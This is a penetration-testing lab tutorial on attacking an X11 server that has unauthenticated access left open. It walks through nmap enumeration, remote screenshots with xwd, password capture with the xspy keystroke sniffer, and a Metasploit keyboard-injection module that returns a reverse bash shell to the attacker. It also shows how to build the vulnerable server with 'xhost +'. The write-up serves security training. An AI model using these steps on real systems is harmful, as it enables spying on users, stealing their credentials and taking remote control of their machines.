Penetration Testing

Penetration Testing on X11 Server

X is an architecture-independent system for remote graphical user interfaces and input device capabilities. Each person using a networked terminal has the ability to interact with the display with any type of user input device.

Source: Wikipedia

In most cases, the X Server’s access control is disabled. But if enabled, it allows anyone to connect to the server. This Vulnerability is called X11 Server Unauthenticated Access Open. You can get more information from here.

For a proper demonstration, we will have to set up an X11 Lab with this Vulnerability.

Lab Setup

We will use an Ubuntu 14.04 system for this Vulnerable Lab setup. After the basic installation of the Ubuntu Server(LAMP), we will focus on locating the “lightdm.conf” file.

The Location of this file is: /etc/lightdm/lightdm.conf.

But if you can’t seem to find this at that location, you can get it for yourself from here.

NOTE: As all the files we are going to edit are accessible to the root user and the commands we are going to run are also for the root user. So to avoid the usage of sudo again and again, we are using a root terminal. To get the root terminal run “sudo bash” command in your terminal.

To edit the file, we will use gedit.

gedit /etc/lightdm/lightdm.conf

To create vulnerability, we will uncomment the following line in lightdm.conf as shown below :


Now that we have saved the changes made in the conf file, to make them come in effect, we will restart the lightdm service.

service lightdm restart

Now when the lightdm service restarts, we will disable the access control with the following command. This will allow clients on the network to get connected to the server. 

xhost +

And That’s it. We have successfully created the X11 Vulnerable Server.

Penetration Testing of X11 Server

To begin Penetration Testing, we will start with the enumeration of the Vulnerable Server. To do a port enumeration we will use the nmap tool.

nmap -sV

As we can see from the image that we have the TCP port 6000 open on the Server ( Also, it is running the X11 service on that port.

Nmap has a script, which checks if the attacker is allowed to connect to the X Server. We can check if the X Server allows us the connection as shown below.

nmap -p 6000 --script x11-access

We can clearly see from the image provided that the X Server allows us access.



This is the built-in utility in Kali, it shows the window’s information for X Service. xwininfo can be used to get information about the windows opened on the target system.

xwininfo -root -tree -display
  • Root = specifies that X’s root window is the target window
  • Tree = displays the names of the windows
  • Display = specify the server to connect to

We can extract much information from the screenshot like:

  • The victim has Gnome Terminal Opened
  • The victim is a VMware user
  • The victim has Nautilus (Ubuntu File Browser) Opened


It is an X Window System utility that helps in taking screenshots. On our Kali System, we will use the xwd to take the screenshot of Xserver. This utility takes the screenshots in xwd format.

xwd -root -screen -silent -display > screenshot.xwd

Root = indicates that the root window should be selected for the window dump

Screen = indicates that the GetImage request used to obtain the image

Silent = Operate silently, i.e. don’t ring any bells before and after dumping the window.

Display = specify the server to connect to

After running the aforementioned command, we will successfully capture a screenshot from the victim system.

Here we have the screenshot captured by the xwd, but it is in .xwd format, so to view it we will have to convert it to a viewable format like .png

convert screenshot.xwd screenshot.png

This command will convert the xwd to a png file. After running this command, we can find out screenshot in the png file format as shown below:


On opening the png file we can see that the xwd tool has successfully captured the screenshot of the target system.


It is a built-in tool Kali Linux for the X Window Servers. XSPY is a sniffer, it sniffs keystrokes on the remote or local X Server.


As we can see from the given screenshot that we got the user password as the victim have unknowingly entered the password. Also, see that the password is not visible on the Server terminal but as the xspy captures the keys typed, hence we have the password typed.

Getting the Shell through Metasploit

Now we will use the X11 Keyboard Command Injection module of the Metasploit Framework. This module exploits open X11 Server by connecting and registering a virtual keyboard. Then the Virtual Keyboard is used to open an xterm or gnome-terminal and then type and execute the payload.

NOTE: As X Server is a visual service, while the executing of the module will take place, every task occurring on the Target System will be visible to the Victim.

Now, after opening the Metasploit Framework, we will use the payload as shown:

use unix/x11/x11_keyboard_exec
msf exploit(unix/x11x11_keyboard_exec) > set rhost
msf exploit(unix/x11x11_keyboard_exec) > set payload cmd/unix/reverse_bash
msf exploit(unix/x11x11_keyboard_exec) > set lhost
msf exploit(unix/x11x11_keyboard_exec) > set lport 4444
msf exploit(unix/x11x11_keyboard_exec) > set time_wait 10
msf exploit(unix/x11x11_keyboard_exec) >  run

After running the module, it will first connect to the Server and search for xterm and open it.

Then after waiting for 10 seconds as its the wait time we gave earlier, it will start typing the script command on the xterm.

After executing this command, xterm will get closed, but it will provide a command shell to the Attacker as shown.

Author: Pavandeep Singh is a Technical Writer, Researcher and Penetration Tester Contact here